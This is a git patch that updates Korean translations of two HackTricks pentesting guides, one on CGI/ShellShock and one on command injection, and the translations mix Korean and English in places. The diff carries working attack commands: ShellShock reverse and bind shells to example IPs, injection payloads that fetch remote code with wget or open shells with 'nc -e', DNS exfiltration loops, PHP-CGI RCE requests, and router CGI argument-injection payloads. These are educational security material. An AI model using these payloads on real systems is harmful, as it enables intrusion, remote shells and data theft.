From 97ff62651ccf3b504bd4f802286cfcd6cc6fd647 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 09:49:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/command-injection.md', 'src/network- --- .../pentesting-web/cgi.md | 75 ++++++++++++++----- src/pentesting-web/command-injection.md | 62 +++++++++++---- 2 files changed, 102 insertions(+), 35 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 3f448f53d..db7484199 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,26 +1,30 @@ +# CGI Pentesting + {{#include ../../banners/hacktricks-training.md}} -# 정보 -**CGI 스크립트는 perl 스크립트**이므로, _**.cgi**_ 스크립트를 실행할 수 있는 서버를 침해한 경우 **perl 리버스 셸** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)을 **업로드**하고, **확장자를** **.pl**에서 **.cgi**로 변경한 후, **실행 권한** \(`chmod +x`\)을 부여하고 **웹 브라우저**에서 리버스 셸에 **접속**하여 실행할 수 있습니다. **CGI 취약점**을 테스트하기 위해 `nikto -C all` \(및 모든 플러그인\)을 사용하는 것이 권장됩니다. +## 정보 -# **ShellShock** +The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. +CGI vulns를 테스트하기 위해 `nikto -C all` (및 모든 플러그인) 사용을 권장한다. -**ShellShock**는 Unix 기반 운영 체제에서 널리 사용되는 **Bash** 명령줄 셸에 영향을 미치는 **취약점**입니다. 이는 Bash가 애플리케이션에 의해 전달된 명령을 실행할 수 있는 능력을 목표로 합니다. 취약점은 **환경 변수**의 조작에 있으며, 이는 컴퓨터에서 프로세스가 실행되는 방식에 영향을 미치는 동적 이름 값입니다. 공격자는 환경 변수에 **악성 코드**를 첨부하여 변수를 수신할 때 실행되도록 할 수 있습니다. 이를 통해 공격자는 시스템을 손상시킬 수 있습니다. +## **ShellShock** -이 취약점을 악용하면 **페이지에서 오류가 발생할 수 있습니다**. +**ShellShock**는 Unix 기반 운영체제에서 널리 사용되는 명령줄 쉘인 **Bash**에 영향을 미치는 **vulnerability**이다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 능력을 겨냥한다. 취약점은 프로세스의 동작에 영향을 주는 동적 이름 값인 **environment variables**의 조작에 있다. 공격자는 여기에 **malicious code**를 붙여 변수가 전달될 때 실행되도록 하여 시스템을 침해할 수 있다. -이 취약점을 **찾을 수 있는** 방법은 **구식 Apache 버전**과 **cgi_mod** \(cgi 폴더 포함\)을 사용하고 있는 것을 확인하거나 **nikto**를 사용하는 것입니다. +이 취약점을 악용하면 **페이지가 오류를 발생시킬 수 있다**. -## **테스트** +이 취약점을 **찾을 수 있다**는 것은 **old Apache version**과 **cgi_mod** (with cgi folder)을 사용 중인지 확인하거나 **nikto**를 사용하는 것으로 알 수 있다. -대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오. +### **테스트** + +대부분의 테스트는 echo로 무언가를 출력하고 해당 문자열이 웹 응답에 반환되는지를 확인하는 방식이다. 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하라. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(반사, 블라인드 및 아웃 오브 밴드\)** +## **Curl \(reflected, blind and out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -33,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -## 익스플로잇 +### Exploit ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -47,24 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -# **프록시 \(MitM에서 웹 서버 요청으로\)** +## 중앙집중형 CGI 디스패처 (selector 매개변수를 통한 단일 엔드포인트 라우팅) -CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. +많은 임베디드 웹 UI는 단일 CGI 엔드포인트(예: `/cgi-bin/cstecgi.cgi`) 뒤에 수십 가지 권한 있는 동작을 다중화하고, `topicurl=`와 같은 selector 매개변수를 사용해 요청을 내부 함수로 라우팅합니다. -HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "**헤더**에 다음을 포함하여 전송해 보십시오: "**Proxy: <IP_attacker>:<PORT>**" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다. +Methodology to exploit these routers: -# 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. +- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. +- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. + +Generic exploit shapes: +```http +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools +topicurl=¶m=-n + +# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; + +# 3) Validator bypass → arbitrary file write in file-touching handlers +topicurl=setWizardCfg&=/etc/init.d/S99rc +``` +탐지 및 강화: + +- 중앙화된 CGI 엔드포인트로의 인증되지 않은 요청 중 `topicurl`이 민감한 handlers로 설정된 것을 주시하세요. +- 앞에 `-`로 시작하는 파라미터를 탐지하세요 (argv option injection attempts). +- 벤더: 모든 상태 변경 handlers에 대해 인증을 강제하고, 엄격한 allowlists/types/lengths로 검증하며, 사용자 제어 문자열을 command-line flags로 절대 전달하지 마세요. + +## 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) 기본적으로 cgi가 활성화되어 있고 php가 "구형" \(<5.3.12 / < 5.4.2\)인 경우 코드를 실행할 수 있습니다. -이 취약점을 악용하기 위해서는 매개변수를 전송하지 않고 \(특히 "=" 문자를 전송하지 않고\) 웹 서버의 일부 PHP 파일에 접근해야 합니다. -그런 다음 이 취약점을 테스트하기 위해 예를 들어 `/index.php?-s`에 접근할 수 있으며 \(note the `-s`\) **응답에 애플리케이션의 소스 코드가 나타납니다**. +이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 보내지 않고 접근해야 합니다 \(특히 문자 "="을 보내지 않고\). +그런 다음 이 취약점을 테스트하려면 예를 들어 `/index.php?-s` \(`-s`에 주의\)에 접근하면 **애플리케이션의 소스 코드가 응답에 나타납니다**. -그런 다음 **RCE**를 얻기 위해 이 특별한 쿼리를 전송할 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드**. -예:** +그런 다음 **RCE**를 얻기 위해서는 다음 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 실행할 **PHP 코드**는 요청의 **본문**에 넣습니다. +Example: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF 작성 예시**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +## **Proxy \(MitM to Web server requests\)** + +CGI는 http request의 각 헤더마다 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. + +웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음을 포함하는 **header**를 전송해 보세요: "**Proxy: <IP_attacker>:<PORT>**" 그리고 세션 중 서버가 어떤 요청을 수행하면, 서버가 만든 각 요청을 캡처할 수 있습니다. + +## **참고자료** + +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 653db1e88..0ca624db3 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## command Injection란 무엇인가? +## Command Injection이란 무엇인가? -**command injection**는 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영체제 명령을 실행할 수 있게 한다. 그 결과 애플리케이션과 그에 포함된 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경과 기반 시스템에 대해 무단으로 접근하거나 제어권을 획득하도록 허용한다. +**command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영체제 명령을 실행하도록 허용한다. 그 결과 애플리케이션과 모든 데이터가 완전히 손상될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 하부 시스템에 무단으로 접근하거나 이를 제어할 수 있게 한다. ### 컨텍스트 -입력이 **어디에 주입되는지**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용). +입력이 **주입되는 위치**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용). ## Command Injection/Execution ```bash @@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **제한** Bypasses -만약 **arbitrary commands inside a linux machine**를 실행하려 한다면, 이 **Bypasses**에 대해 읽어보면 도움이 될 것입니다: +만약 **arbitrary commands inside a linux machine**를 실행하려고 한다면, 이 **Bypasses:**를 읽어보면 관심이 있을 것입니다. {{#ref}} @@ -45,9 +45,9 @@ vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php / vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay ``` -### 매개변수 +### Parameters -다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수(출처 [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS 기반 data exfiltration -다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` — dnsbin.zhack.ca에도 호스팅되어 있음 +다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` (또한 dnsbin.zhack.ca에 호스팅되어 있음) ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS 기반의 데이터 exfiltration을 확인할 수 있는 온라인 도구: +DNS based data exfiltration을 확인하기 위한 온라인 도구: - dnsbin.zhack.ca - pingb.in -### 필터링 우회 +### Filtering bypass #### Windows ``` @@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` vs `execFile` +### Node.js `child_process.exec` 대 `execFile` -JavaScript/TypeScript 백엔드를 검토할 때 Node.js `child_process` API를 자주 만나게 됩니다. +JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js `child_process` API를 접하게 됩니다. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 대해 특수한 의미를 갖는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)는 사용자 입력이 문자열에 연결될 때 **command injection**을 초래합니다. +`exec()`는 **shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 가지는 모든 문자(back-ticks, `;`, `&&`, `|`, `$()`, …)가 사용자 입력이 문자열로 연결될 때 **command injection**을 유발합니다. -**Mitigation:** `execFile()`(또는 `spawn()`을 `shell` 옵션 없이) 사용하고 **각 인수를 별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 합니다: +**완화:** `execFile()`를 사용하거나 (`shell` 옵션 없이 `spawn()`을 사용) 각 인수를 **별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 하세요: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,8 +140,37 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어한 데이터가 `id_user`에 삽입되었고, 이후 `exec()` 호출에 포함되어 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +### Argument/Option injection: 선행 하이픈을 통한 (argv, no shell metacharacters) + +모든 injections가 shell 메타문자를 필요로 하는 것은 아닙니다. 애플리케이션이 신뢰할 수 없는 문자열을 시스템 유틸리티의 인수로 전달하는 경우(`execve`/`execFile`을 사용하고 shell이 없는 상황에서도), 많은 프로그램은 여전히 `-` 또는 `--`로 시작하는 인수를 옵션으로 해석합니다. 이를 통해 공격자는 shell에 진입하지 않고도 동작 모드를 전환하거나 출력 경로를 변경하거나 위험한 동작을 유발할 수 있습니다. + +일반적으로 나타나는 위치: + +- Embedded web UIs/CGI handlers가 `ping `, `tcpdump -i -w `, `curl ` 같은 명령을 구성할 때. +- Centralized CGI routers (예: `/cgi-bin/.cgi`와 같이 `topicurl=` 같은 selector 파라미터를 사용하는 경우)에서 여러 핸들러가 동일한 약한 밸리데이터를 재사용할 때. + +시도해볼 것: + +- 하위 도구가 플래그로 소비하도록 `-`/`--`로 시작하는 값을 제공하세요. +- 동작을 변경하거나 파일을 쓰는 플래그를 악용해보세요. 예: + - `ping`: `-f`/`-c 100000`으로 장비를 과부하시켜 DoS 유발 + - `curl`: `-o /tmp/x`로 임의 경로에 쓰기, `-K `로 공격자 제어 config 로드 + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh`로 unsafe wrapper에서 rotate 후 실행 달성 +- 프로그램이 `--` end-of-options를 지원한다면, 잘못된 위치에 `--`를 prepending하는 단순한 완화책을 우회할 수 있는지 시도해보세요. + +Generic PoC shapes against centralized CGI dispatchers: +``` +POST /cgi-bin/cstecgi.cgi HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +# Flip options in a downstream tool via argv injection +topicurl=¶m=-n + +# Unauthenticated RCE when a handler concatenates into a shell +topicurl=setEasyMeshAgentCfg&agentName=;id; +``` ## Brute-Force 탐지 목록 @@ -149,7 +178,7 @@ execFile('/usr/bin/do-something', [ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} -## 참고자료 +## 참고 자료 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) @@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}}